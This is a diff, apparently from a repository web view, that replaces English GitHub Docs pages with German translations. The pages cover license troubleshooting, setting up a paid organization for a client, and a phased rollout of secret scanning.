| Features | The {% data variables.product.prodname_github_connect %} features that are enabled on your {% data variables.product.prodname_ghe_server %} instance, and the date and time of enablement.
| Host name | The hostname of your {% data variables.product.prodname_ghe_server %} instance.
| HTTP only | Whether Transport Layer Security (TLS) is enabled and configured on your {% data variables.product.prodname_ghe_server %} instance. Can be one of: `True` or `False`.
| License | A hash of your {% data variables.product.prodname_ghe_server %} license.
| Public key | The public key portion of your {% data variables.product.prodname_ghe_server %} license.
| Server ID | UUID generated for your {% data variables.product.prodname_ghe_server %} instance.
| Version | The version of your {% data variables.product.prodname_ghe_server %} instance.
| Features | Das Datum und die Uhrzeit der Aktivierung sind die auf deiner {% data variables.product.prodname_ghe_server %}-Instanz aktivierten {% data variables.product.prodname_github_connect %}-Features.
| Hostname | Der Hostname deiner {% data variables.product.prodname_ghe_server %}-Instanz.
| Nur HTTP | Ob Transport Layer Security (TLS) aktiviert und für deine {% data variables.product.prodname_ghe_server %}-Instanz konfiguriert ist. Kann `True` oder `False` sein.
| Lizenz | Ein Hash deiner {% data variables.product.prodname_ghe_server %}-Lizenz.
| Öffentlicher Schlüssel | Der Teil deiner {% data variables.product.prodname_ghe_server %}-Lizenz, der ein öffentlicher Schlüssel ist.
| Server-ID | UUID, die für deine {% data variables.product.prodname_ghe_server %}-Instanz generiert wurde.
| Version | Die Version deiner {% data variables.product.prodname_ghe_server %}-Instanz.
## Troubleshooting consumed licenses
## Problembehandlung bei genutzten Lizenzen
To ensure that the each user is only consuming a single seat for different deployments and subscriptions, try the following troubleshooting steps.
Um sicherzustellen, dass jeder Benutzer bzw. jede Benutzerin nur einen Arbeitsplatz für verschiedene Bereitstellungen und Abonnements verwendet, probiere die folgenden Schritte zur Problembehandlung aus.
1. To help identify users that are consuming multiple seats, if your enterprise uses verified domains for {% data variables.product.prodname_ghe_cloud %}, review the list of enterprise members who do not have an email address from a verified domain associated with their account on {% data variables.product.prodname_dotcom_the_website %}. Often, these are the users who erroneously consume more than one licensed seat. For more information, see "[Viewing members without an email address from a verified domain](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-without-an-email-address-from-a-verified-domain)."
1. Wenn dein Unternehmen verifizierte Domänen für {% data variables.product.prodname_ghe_cloud %} verwendet, überprüfe die Liste der Unternehmensmitglieder, die keine E-Mail-Adresse aus einer verifizierten Domäne haben, welche mit ihrem Konto auf {% data variables.product.prodname_dotcom_the_website %} verknüpft ist, um Benutzer*innen zu ermitteln, die mehrere Arbeitsplätze verbrauchen. Häufig sind dies die Benutzer, die versehentlich mehr als eine Arbeitsplatzlizenz nutzen. Weitere Informationen findest du unter [Anzeigen von Mitgliedern ohne E-Mail-Adresse aus einer überprüften Domäne](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-without-an-email-address-from-a-verified-domain).
{% note %}
**Note:** To make troubleshooting easier, we recommend using verified domains with your enterprise account on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."
**Hinweis:** Zur Erleichterung der Problembehandlung empfehlen wir die Verwendung verifizierter Domänen mit deinem Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %}. Weitere Informationen findest du unter [Überprüfen oder Genehmigen einer Domäne für dein Unternehmen](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise).
{% endnote %}
1. After you identify users who are consuming multiple seats, make sure that the same email address is associated with all of the user's accounts. For more information about which email addresses must match, see "[About the calculation of consumed licenses](#about-the-calculation-of-consumed-licenses)."
1. If an email address was recently updated or verified to correct a mismatch, view the timestamp of the last license sync job. If a job hasn't run since the correction was made, manually trigger a new job. For more information, see "[Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."
1. Nachdem du Benutzer*innen identifiziert hast, die mehrere Arbeitsplätze verwenden, stelle sicher, dass die gleiche E-Mail-Adresse allen Konten des Benutzers bzw. der Benutzerin zugeordnet ist. Weitere Informationen dazu, welche E-Mail-Adressen übereinstimmen müssen, findest du unter [Informationen zur Berechnung der verbrauchten Lizenzen](#about-the-calculation-of-consumed-licenses).
1. Wenn eine E-Mail-Adresse kürzlich aktualisiert oder überprüft wurde, um eine Übereinstimmung zu korrigieren, zeige den Zeitstempel des letzten Lizenzsynchronisierungsauftrags an. Wenn ein Auftrag seit der Korrektur nicht ausgeführt wurde, löse manuell einen neuen Auftrag aus. Weitere Informationen findest du unter [Synchronisieren der Lizenzverwendung zwischen GitHub Enterprise Server und GitHub Enterprise Cloud](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud).
If you still have questions about your consumed licenses after reviewing the troubleshooting information above, you can contact {% data variables.contact.github_support %} through the {% data variables.contact.contact_enterprise_portal %}.
Wenn du nach der Einsicht der oben genannten Problembehandlungsinformationen noch Fragen zu deinen genutzten Lizenzen hast, kannst du dich über das {% data variables.contact.contact_enterprise_portal %} an den {% data variables.contact.github_support %} wenden.

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Creating and paying for an organization on behalf of a client
intro: 'You can create and pay for a {% data variables.product.prodname_dotcom %} organization on behalf of a client.'
title: Eine Organisation im Namen eines Kunden gründen und bezahlen
intro: 'Du kannst im Namen von Kund*innen eine {% data variables.product.prodname_dotcom %}-Organisation erstellen und bezahlen.'
redirect_from:
- /github/setting-up-and-managing-billing-and-payments-on-github/creating-and-paying-for-an-organization-on-behalf-of-a-client
- /articles/creating-and-paying-for-an-organization-on-behalf-of-a-client
@ -14,95 +14,82 @@ topics:
- Organizations
- Upgrades
shortTitle: On behalf of a client
ms.openlocfilehash: 6c0cdaa09d3e2bf476b6314c38d369ec89840aad
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/10/2022
ms.locfileid: '145085595'
---
## Requirements
## Requirements (Anforderungen)
Before you start, make sure you know:
- The {% data variables.product.prodname_dotcom %} username of the client who will become the owner of the organization you create
- The name your client would like to use for the organization
- The email address where you would like receipts to be sent
- The [product](/articles/github-s-products) your client would like to purchase
- The number of [paid seats](/articles/about-per-user-pricing/) your client would like you to purchase for the organization
Bevor du startest, stelle sicher, dass Dir Folgendes vorliegt:
- Der {% data variables.product.prodname_dotcom %}-Benutzername des Kunden, der Inhaber der Organisation werden soll, die du erstellst
- Der Name, den dein Kunde für die Organisation verwenden möchte
- Die E-Mail-Adresse, an die die Quittungen gesendet werden sollen
- Das [Produkt](/articles/github-s-products), das dein Kunde kaufen möchte
- Die Anzahl der [bezahlten Arbeitsplätze](/articles/about-per-user-pricing/), die dein Kunde für die Organisation kaufen möchte
## Step 1: Create your personal {% data variables.product.prodname_dotcom %} account
## Schritt 1: Erstellen deines persönlichen {% data variables.product.prodname_dotcom %}-Kontos
You will use your personal account to set up the organization. You'll also need to sign in to this account to renew or make changes to your client's subscription in the future.
Du wirst dein persönliches Konto benutzen, um die Organisation einzurichten. Du musst Dich bei diesem Konto anmelden, um in Zukunft das Abonnement deines Kunden zu verlängern oder zu ändern.
If you already have a personal account on {% data variables.product.prodname_dotcom %}, skip to [step 2](#step-2-create-the-organization).
Wenn du bereits ein persönliches Konto auf {% data variables.product.prodname_dotcom %} hast, fahre mit [Schritt 2](#step-2-create-the-organization) fort.
1. Go to the [Join GitHub](https://github.com/join) page.
2. Under "Create your personal account," type your username, email address, and password, then click **Create an account**.
![Create personal account entry form](/assets/images/help/billing/billing_create_your_personal_account_form.png)
3. Select {% data variables.product.prodname_free_user %} for your personal account.
4. Click **Finish sign up**.
1. Gehe zur Seite [GitHub beitreten](https://github.com/join).
2. Gib unter „Erstellen deines persönlichen Kontos“ deinen Benutzernamen, deine E-Mail-Adresse und dein Kennwort ein, und klicke dann auf **Ein Konto erstellen**.
![Eintragsformular zum Erstellen eines persönlichen Kontos](/assets/images/help/billing/billing_create_your_personal_account_form.png)
3. Wähle {% data variables.product.prodname_free_user %} für dein persönliches Konto aus.
4. Klicke auf **Registrieren beenden**.
## Step 2: Create the organization
## Schritt 2: Die Organisation erstellen
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.organizations %}
{% data reusables.organizations.new-organization %}
3. Under "Choose a plan", click **Choose {% data variables.product.prodname_free_team %}**. You will upgrade the organization in the next step.
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.organizations %} {% data reusables.organizations.new-organization %}
3. Klicke unter „Plan auswählen“ auf **{% data variables.product.prodname_free_team %} auswählen**. Im nächsten Schritt wirst du die Organisation heraufstufen.
{% data reusables.organizations.organization-name %}
5. Under "Contact email", type a contact email address for your client.
![Contact email field](/assets/images/help/organizations/contact-email-field.png)
{% data reusables.dotcom_billing.owned_by_business %}
8. Click **Next**.
5. Gib unter „Contact email“ (Kontakt-E-Mail-Adresse) eine Kontakt-E-Mail-Adresse für deinen Kunden ein.
![Feld „Kontakt-E-Mail-Adresse“](/assets/images/help/organizations/contact-email-field.png) {% data reusables.dotcom_billing.owned_by_business %}
8. Klicken Sie auf **Weiter**.
## Step 3: Upgrade the organization to a yearly paid subscription
## Schritt 3: Die Organisation auf ein jährlich bezahltes Abonnement hochstufen
{% data reusables.profile.access_org %}
{% data reusables.profile.org_settings %}
{% data reusables.organizations.billing_plans %}
{% data reusables.dotcom_billing.upgrade_org %}
{% data reusables.dotcom_billing.choose_org_plan %} (You can add more seats to the organization in the next step.)
6. Under "Upgrade summary", select **Pay yearly** to pay for the organization yearly.
![Radio button for yearly billing](/assets/images/help/billing/choose-annual-billing-org-resellers.png)
{% data reusables.dotcom_billing.enter-payment-info %}
{% data reusables.dotcom_billing.finish_upgrade %}
{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.billing_plans %} {% data reusables.dotcom_billing.upgrade_org %} {% data reusables.dotcom_billing.choose_org_plan %} (Im nächsten Schritt kannst du der Organisation weitere Arbeitsplätze hinzufügen.)
6. Wähle unter „Upgrade-Übersicht“ **Jährlich bezahlen** aus, um jährlich für die Organisation zu zahlen.
![Optionsfeld für jährliche Abrechnung](/assets/images/help/billing/choose-annual-billing-org-resellers.png) {% data reusables.dotcom_billing.enter-payment-info %} {% data reusables.dotcom_billing.finish_upgrade %}
## Step 4: Upgrade the number of paid seats in the organization
## Schritt 4: Die Anzahl an bezahlten Benutzern in der Organisation hochstufen
{% data reusables.profile.access_org %}
{% data reusables.profile.org_settings %}
{% data reusables.organizations.billing_plans %}
{% data reusables.dotcom_billing.add-seats %}
{% data reusables.dotcom_billing.number-of-seats %}
{% data reusables.dotcom_billing.confirm-add-seats %}
{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.billing_plans %} {% data reusables.dotcom_billing.add-seats %} {% data reusables.dotcom_billing.number-of-seats %} {% data reusables.dotcom_billing.confirm-add-seats %}
## Step 5: Invite your client to join the organization
## Schritt 5: Einladen von Kund*innen zum Beitritt in deine Organisation
{% data reusables.profile.access_org %}
{% data reusables.user-settings.access_org %}
{% data reusables.organizations.people %}
{% data reusables.organizations.invite_member_from_people_tab %}
5. Type your client's {% data variables.product.prodname_dotcom %} username and press **Enter**.
![Field to type your client's username](/assets/images/help/organizations/org-invite-modal.png)
6. Choose the *owner* role for your client, then click **Send invitation**.
![Owner radio button and send invitation button](/assets/images/help/organizations/add-owner-send-invite-reseller.png)
7. Your client will receive an email inviting them to the organization. They will need to accept the invitation before you can move on to the next step.
{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.invite_member_from_people_tab %}
5. Gib den {% data variables.product.prodname_dotcom %}-Benutzernamen deines Kunden ein, und drücke die **Eingabetaste**.
![Feld zum Eingeben des Benutzernamens des Kunden](/assets/images/help/organizations/org-invite-modal.png)
6. Wähle die Rolle *Besitzer* für deinen Client aus, und klicke dann auf **Einladung senden**.
![Optionsfeld „Besitzer“ und Schaltfläche „Einladung senden“](/assets/images/help/organizations/add-owner-send-invite-reseller.png)
7. Dein Kunde erhält per E-Mail eine Einladung zur Organisation. Er muss die Einladung annehmen, bevor du mit dem nächsten Schritt fortfahren kannst.
## Step 6: Transfer organization ownership to your client
## Schritt 6: Die Organisationsinhaberschaft an deinen Kunden übertragen
{% data reusables.profile.access_org %}
{% data reusables.user-settings.access_org %}
{% data reusables.organizations.people %}
4. Confirm that your client is listed among the members of the organization and is assigned the *owner* role.
5. To the right of your username, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**.
![The manage access link](/assets/images/help/organizations/member-manage-access.png)
6. On the left, click **Remove from organization**.
![Remove from organization button](/assets/images/help/organizations/remove-from-org-button.png)
7. Confirm your choice and click **Remove members**.
![Remove members confirmation button](/assets/images/help/organizations/confirm-remove-from-org.png)
{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %}
4. Bestätige, dass dein Kunde unter den Mitgliedern der Organisation aufgeführt ist und ihm die Rolle *Besitzer* zugewiesen ist.
5. Klicke rechts neben dem Benutzernamen im {% octicon "gear" aria-label="The Settings gear" %}-Dropdownmenü auf **Verwalten**.
![Link zur Zugriffsverwaltung](/assets/images/help/organizations/member-manage-access.png)
6. Klicke links auf **Aus Organisation entfernen**.
![Schaltfläche „Aus Organisation entfernen“](/assets/images/help/organizations/remove-from-org-button.png)
7. Bestätige deine Wahl, und klicke auf **Mitglieder entfernen**.
![Bestätigungsschaltfläche „Mitglieder entfernen“](/assets/images/help/organizations/confirm-remove-from-org.png)
## Next steps
## Nächste Schritte
1. Contact your client and ask them to [add you to the organization as a billing manager](/articles/adding-a-billing-manager-to-your-organization). You'll need to be a billing manager for the organization so that you can renew or make changes to your client's subscription in the future.
2. If you would like your organization's credit card to be removed from the organization so that it's not charged again, contact {% data variables.contact.contact_support %}.
3. When it's time to renew your client's paid subscription, see "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)."
1. Wende dich an deinen Kunden, und bitte ihn, [dich der Organisation als Abrechnungsmanager hinzuzufügen](/articles/adding-a-billing-manager-to-your-organization). Du musst Abrechnungsmanager für die Organisation sein, um in Zukunft das Abonnement deines Kunden verlängern oder ändern zu können.
2. Wenn du die Kreditkarte deiner Organisation aus der Organisation entfernen möchtest, damit sie nicht mehr belastet wird, wende dich an {% data variables.contact.contact_support %}.
3. Wenn es Zeit ist, das kostenpflichtige Abonnement deines Kunden zu verlängern, lies [Verlängern der kostenpflichtigen Organisation deines Kunden](/articles/renewing-your-client-s-paid-organization).
## Further reading
## Weitere Informationsquellen
- "[About organizations for procurement companies](/articles/about-organizations-for-procurement-companies)"
- "[Upgrading or downgrading your client's paid organization](/articles/upgrading-or-downgrading-your-client-s-paid-organization)"
- "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)"
- [Informationen zu Organisationen für Beschaffungsunternehmen](/articles/about-organizations-for-procurement-companies)
- [Durchführen eines Upgrades oder Downgrades für die kostenpflichtige Organisation deiner Kund*innen](/articles/upgrading-or-downgrading-your-client-s-paid-organization)
- [Verlängern der kostenpflichtigen Organisation deiner Kund*innen](/articles/renewing-your-client-s-paid-organization)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: 'Phase 6: Rollout and scale secret scanning'
intro: 'For the final phase, you will focus on the rollout of {% data variables.product.prodname_secret_scanning %}. {% data variables.product.prodname_secret_scanning_caps %} is a more straightforward tool to rollout than {% data variables.product.prodname_code_scanning %}, as it involves less configuration, but it''s critical to have a strategy for handling new and old results.'
title: "Phase\_6: Rollout und Skalierung der Geheimnisüberprüfung"
intro: 'In der letzten Phase konzentrierst du dich auf den Rollout von {% data variables.product.prodname_secret_scanning %}. Der Rollout von {% data variables.product.prodname_secret_scanning_caps %} ist einfacher als der von{% data variables.product.prodname_code_scanning %}, da weniger Konfiguration erforderlich ist. Allerdings ist es wichtig, eine Strategie für den Umgang mit neuen und alten Ergebnissen zu haben.'
versions:
ghes: '*'
ghae: '*'
@ -9,98 +9,103 @@ topics:
- Advanced Security
shortTitle: 6. Rollout secret scanning
miniTocMaxHeadingLevel: 3
ms.openlocfilehash: 15254d9a4d490f6eeff566cd71d94da7c6e8c467
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/09/2022
ms.locfileid: '148158757'
---
{% note %}
This article is part of a series on adopting {% data variables.product.prodname_GH_advanced_security %} at scale. For the previous article in this series, see "[Phase 5: Rollout and scale code scanning](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning)."
Dieser Artikel ist Teil einer Reihe zur Einführung von {% data variables.product.prodname_GH_advanced_security %} nach Maß. Den vorherigen Artikel in dieser Reihe findest du unter [Phase 5: Rollout und Skalierung der Codeüberprüfung](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning).
{% endnote %}
You can enable secret scanning for individual repositories or for all repositories in an organization. For more information, see "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
Du kannst die Geheimnisüberprüfung für einzelne oder alle Repositorys in einer Organisation aktivieren. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) oder [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).
This article explains a high-level process focusing on enabling {% data variables.product.prodname_secret_scanning %} for all repositories in an organization. The principles described in this article can still be applied even if you take a more staggered approach of enabling {% data variables.product.prodname_secret_scanning %} for individual repositories.
In diesem Artikel wird der allgemeine Prozess zur Aktivierung der {% data variables.product.prodname_secret_scanning %} für alle Repositorys in einer Organisation erklärt. Die in diesem Artikel beschriebenen Grundsätze können auch dann umgesetzt werden, wenn du einen gestaffelteren Ansatz für die Aktivierung der {% data variables.product.prodname_secret_scanning %} für einzelne Repositorys wählst.
### 1. Focus on newly committed secrets
### 1. Auf neu committete Geheimnisse konzentrieren
When you enable {% data variables.product.prodname_secret_scanning %}, you should focus on remediating any newly committed credentials detected by secret scanning. If you focus on cleaning up committed credentials, developers could continue to accidentally push new credentials, which means your total secret count will stay around the same level, not decrease as intended. This is why it is essential to stop new credentials being leaked before focusing on revoking any current secrets.
Wenn du die {% data variables.product.prodname_secret_scanning %} aktivierst, solltest du dich darauf konzentrieren, alle neu comitteten Anmeldeinformationen, die bei der Geheimnisüberprüfung entdeckt wurden, zu bereinigen. Wenn du dich darauf konzentrierst, committete Anmeldeinformationen zu bereinigen, könnten Entwickler weiterhin versehentlich neue Anmeldeinformationen pushen. Das bedeutet, dass deine Gesamtanzahl an Geheimnissen in etwa auf demselben Niveau bleibt und nicht wie beabsichtigt abnimmt. Deshalb muss das Kompromittieren neuer Anmeldeinformationen unbedingt verhindert werden, ehe es darum geht, bestehende Geheimnisse zu widerrufen.
There are a few approaches for tackling newly committed credentials, but one example approach would be:
Es gibt verschiedene Ansätze, um neu committete Anmeldeinformationen in Angriff zu nehmen, doch eine davon wäre zum Beispiel:
1. **Notify**: Use webhooks to ensure that any new secret alerts are seen by the right teams as quickly as possible. A webhook fires when a secret alert is either created, resolved, or reopened. You can then parse the webhook payload, and integrate it into any tools you and your team use such Slack, Teams, Splunk, or email. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#secret_scanning_alert)."
2. **Follow Up**: Create a high-level remediation process that works for all secret types. For example, you could contact the developer who committed the secret and their technical lead on that project, highlighting the dangers of committing secrets to GitHub, and asking the them to revoke, and update the detected secret.
1. **Benachrichtigung**: Verwende Webhooks, um sicherzustellen, dass alle Warnungen zu neuen Geheimnissen so schnell wie möglich an die richtigen Teams weitergeleitet werden. Ein Webhook wird ausgelöst, wenn eine Geheimniswarnung entweder erstellt, behoben oder erneut geöffnet wird. Anschließend kannst du die Nutzdaten des Webhooks analysieren und in die von dir und deinem Team genutzten Tools wie Slack, Teams, Splunk oder E-Mail integrieren. Weitere Informationen findest Du unter [Informationen zu Webhooks](/developers/webhooks-and-events/webhooks/about-webhooks) und [Webhookereignisse und -nutzdaten](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#secret_scanning_alert).
2. **Nachverfolgung**: Richte einen allgemeinen Bereinigungsprozess für alle Geheimnistypen ein. Du kannst dich beispielsweise mit dem Entwickler, der das Geheimnis committet hat, und seinem technischen Leiter für dieses Projekt in Verbindung setzen und sie auf die Gefahren des Committens von Geheimnissen auf GitHub mit der Bitte hinweisen, das erkannte Geheimnis zu widerrufen und zu aktualisieren.
{% note %}
**Note:** You can automate this step. For large enterprises and organizations with hundreds of repositories, manually following up is unsustainable. You could incorporate automation into the webhook process defined in the first step. The webhook payload contains repository and organization information about the leaked secret. Using this information, you can contact the current maintainers on the repository and create an email/message to the responsible people or open an issue.
**Hinweis**: Dieser Schritt kann automatisiert werden. Bei großen Unternehmen und Organisationen mit Hunderten von Repositorys ist eine manuelle Nachverfolgung nicht praktikabel. Du kannst eine Automatisierung in den im ersten Schritt beschriebenen Webhookprozess einführen. Die Nutzdaten des Webhooks enthalten Repository- und Organisationsinformationen zum kompromittieren Geheimnis. Mithilfe dieser Informationen kannst du die aktuellen Maintainer des Repositorys kontaktieren und eine E-Mail/SMS an die verantwortlichen Personen richten oder ein Issue eröffnen.
{% endnote %}
3. **Educate**: Create an internal training document assigned to the developer who committed the secret. Within this training document, you can explain the risks created by committing secrets and direct them to your best practice information about using secrets securely in development. If the a developer doesn't learn from the experience and continues to commit secrets, you could create an escalation process, but education usually works well.
3. **Schulung**: Erstelle ein internes Schulungsdokument, das dem Entwickler zugewiesen wird, der das Geheimnis committet hat. In diesem Schulungsdokument kannst du die Risiken erklären, die durch das Committen von Geheimnissen entstehen, und sie auf deine bewährten Methoden zur sicheren Verwendung von Geheimnissen in der Entwicklung verweisen. Wenn ein Entwickler nicht aus der Erfahrung lernt und weiterhin Geheimnisse committet, kannst du einen Eskalationsprozess einrichten, aber in der Regel funktioniert eine Schulung wie gewünscht.
Repeat the last two steps for any new secrets leaked. This process encourages developers to take responsibility for managing the secrets used in their code securely, and allows you to measure the reduction in newly committed secrets.
Wiederhole die letzten beiden Schritte für alle neuen kompromittierten Geheimnisse. Dieser Prozess ermutigt Entwickler, die Verantwortung für das sichere Verwalten der in ihrem Code verwendeten Geheimnisse zu übernehmen, und ermöglicht es dir, die Reduzierung neu committeter Geheimnisse zu messen.
{% note %}
**Note:** More advanced organizations may want to perform auto-remediation of certain types of secrets. There is an open-source initiative called [GitHub Secret Scanner Auto Remediator](https://github.com/NickLiffen/GSSAR) which you can deploy into your AWS, Azure, or GCP environment and tailor to automatically revoke certain types of secrets based on what you define as the most critical. This is also an excellent way to react to new secrets being committed with a more automated approach.
**Hinweis:** Fortgeschrittene Organisationen möchten ggf. bestimmte Geheimnistypen automatisch bereinigen. Es gibt eine Open-Source-Initiative namens [GitHub Secret Scanner Auto Remediator](https://github.com/NickLiffen/GSSAR), die du in deiner AWS-, Azure- oder GCP-Umgebung bereitstellen und so anpassen kannst, dass bestimmte Geheimnistypen, je nachdem, was du als besonders kritisch definierst, automatisch widerrufen werden. Das ist auch eine hervorragende Möglichkeit, auf neue committete Geheimnisse mit einem automatisierteren Ansatz zu reagieren.
{% endnote %}
### 2. Remediate previously committed secrets, starting with the most critical
### 2. Zuvor committete Geheimnisse beginnend mit dem kritischsten bereinigen
After you have established a process to monitor, notify and remediate newly published secrets, you can start work on secrets committed before {% data variables.product.prodname_GH_advanced_security %} was introduced.
Nachdem du einen Prozess zur Überwachung, Benachrichtigung und Bereinigung neu veröffentlichter Geheimnisse eingerichtet hast, kannst du mit der Arbeit an Geheimnissen beginnen, die vor Einführung von {% data variables.product.prodname_GH_advanced_security %} committet wurden.
How you define your most critical secrets will depend on your organization's processes and integrations. For example, a company likely isnt worried about a Slack Incoming Webhook secret if they dont use Slack. You may find it useful to start by focusing on the top five most critical credential types for your organization.
Die Definition deiner wichtigsten Geheimnisse hängt von den Prozessen und Integrationen deiner Organisation ab. Ein Unternehmen macht sich z. B. wahrscheinlich keine Gedanken über ein Geheimnis des Typs „Slack Incoming Webhook“, wenn es Slack gar nicht nutzt. Es kann hilfreich sein, sich zunächst auf die fünf kritischsten Typen von Anmeldeinformationen für deine Organisation zu konzentrieren.
Once you have decided on the secret types, you can do the following:
Sobald du die Entscheidung über die Geheimnistypen getroffen hast, kannst du Folgendes tun:
1. Define a process for remediating each type of secret. The actual procedure for each secret type is often drastically different. Write down the process for each type of secret in a document or internal knowledge base.
1. Einen Prozess zur Bereinigung jedes Geheimnistyps einrichten. Die tatsächlichen Verfahren für die einzelnen Geheimnistypen unterscheiden sich oft erheblich. Notiere den Prozess für jeden Geheimnistyp in einem Dokument oder einer internen Wissensdatenbank.
{% note %}
**Note:** When you create the process for revoking secrets, try and give the responsibility for revoking secrets to the team maintaining the repository instead of a central team. One of the principles of GHAS is developers taking ownership of security and having the responsibility of fixing security issues, especially if they have created them.
**Hinweis:** Wenn du den Prozess für den Widerruf von Geheimnissen gestaltest, solltest du versuchen, die Verantwortung für das Widerrufen von Geheimnissen dem Team zu übertragen, das das Repository verwaltet, und nicht einem zentralen Team. Einer der Grundsätze von GHAS ist, dass Entwickler die Verantwortung für Sicherheit übernehmen und für die Behebung von Sicherheitsproblemen zuständig sind, insbesondere wenn sie diese selbst verursacht haben.
{% endnote %}
2. When you have created the process that teams will follow for revoking credentials, you can collate information about the types of secrets and other metadata associated with the leaked secrets so you can discern who to communicate the new process to.
2. Wenn du den Prozess eingerichtet hast, den Teams für das Widerrufen von Anmeldeinformationen befolgen sollen, kannst du Informationen über die Geheimnistypen und andere Metadaten, die den kompromittierten Geheimnissen zuzuordnen sind, zusammentragen, damit du erkennen kannst, wen du über den neuen Prozess informieren musst.
{% ifversion not ghae %}
You can use the security overview to collect this information. For more information about using the security overview, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
Du kannst diese Informationen in der Sicherheitsübersicht sammeln. Weitere Informationen zur Sicherheitsübersicht findest du unter [Filtern von Warnungen in Sicherheitsübersichten](/code-security/security-overview/filtering-alerts-in-the-security-overview).
{% endif %}
Some information you may want to collect includes:
Folgende Informationen möchtest du möglicherweise sammeln:
- Organization
- Repository
- Secret type
- Secret value
- Maintainers on repository to contact
- Geheimnistyp
- Geheimniswert
- Maintainer des Repositorys zur Kontaktaufnahme
{% note %}
**Note:** Use the UI if you have few secrets leaked of that type. If you have hundreds of leaked secrets, use the API to collect information. For more information, see "[Secret scanning REST API](/rest/reference/secret-scanning)."
**Hinweis**: Nutze die Benutzeroberfläche, wenn es wenige kompromittierte Geheimnisse dieses Typs gibt. Wenn es Hunderte kompromittierter Geheimnisse gibt, kannst du die Informationen mithilfe der API sammeln. Weitere Informationen findest du unter [REST-API für die Geheimnisüberprüfung](/rest/reference/secret-scanning).
{% endnote %}
3. After you collect information about leaked secrets, create a targeted communication plan for the users who maintain the repositories affected by each secret type. You could use email, messaging, or even create GitHub issues in the affected repositories. If you can use APIs provided by these tools to send out the communications in an automated manner, this will make it easier for you to scale across multiple secret types.
3. Nachdem du Informationen über kompromittierte Geheimnisse gesammelt hast, erstelle einen zielgerichteten Kommunikationsplan für die Benutzer, die die Repositorys mit den jeweiligen Geheimnistypen betreuen. Du kannst eine E-Mail oder SMS senden oder auch ein GitHub-Issue in den betroffenen Repositorys einrichten. Wenn du die von diesen Tools zur Verfügung gestellten APIs nutzen kannst, um die Mitteilungen automatisch zu senden, wird die Skalierung für mehrere Geheimnistypen einfacher.
### 3. Expand the program to include more secret types and custom patterns
### 3. Das Programm um weitere Geheimnistypen und benutzerdefinierte Muster erweitern
You can now expand beyond the five most critical secret types into a more comprehensive list, with an additional focus on education. You can repeat the previous step, remediating previously committed secrets, for the different secret types you have targeted.
Du kannst jetzt über die fünf kritischsten Geheimnistypen hinaus eine umfassendere Liste erstellen, und zwar mit einem zusätzlichen Schwerpunkt auf Schulung. Du kannst den vorherigen Schritt wiederholen und zuvor committete Geheimnisse für die verschiedenen anvisierten Geheimnistypen bereinigen.
You can also include more of the custom patterns collated in the earlier phases and invite security teams and developer teams to submit more patterns, establishing a process for submitting new patterns as new secret types are created. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)."
Du kannst auch weitere der benutzerdefinierten Muster einbeziehen, die in den früheren Phasen gesammelt wurden, und Sicherheits- und Entwicklerteams einladen, weitere Muster zu übermitteln, indem du einen Prozess zur Übermittlung neuer Muster einrichtest, sobald neue Geheimnistypen erstellt werden. Weitere Informationen findest du unter [Definieren benutzerdefinierter Muster für Geheimnisüberprüfungen](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning).
{% ifversion secret-scanning-push-protection %}
You can also enable push protection with secret scanning. Once enabled, secret scanning checks pushes for high-confidence secrets and blocks the push. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#using-secret-scanning-as-a-push-protection-from-the-command-line)."
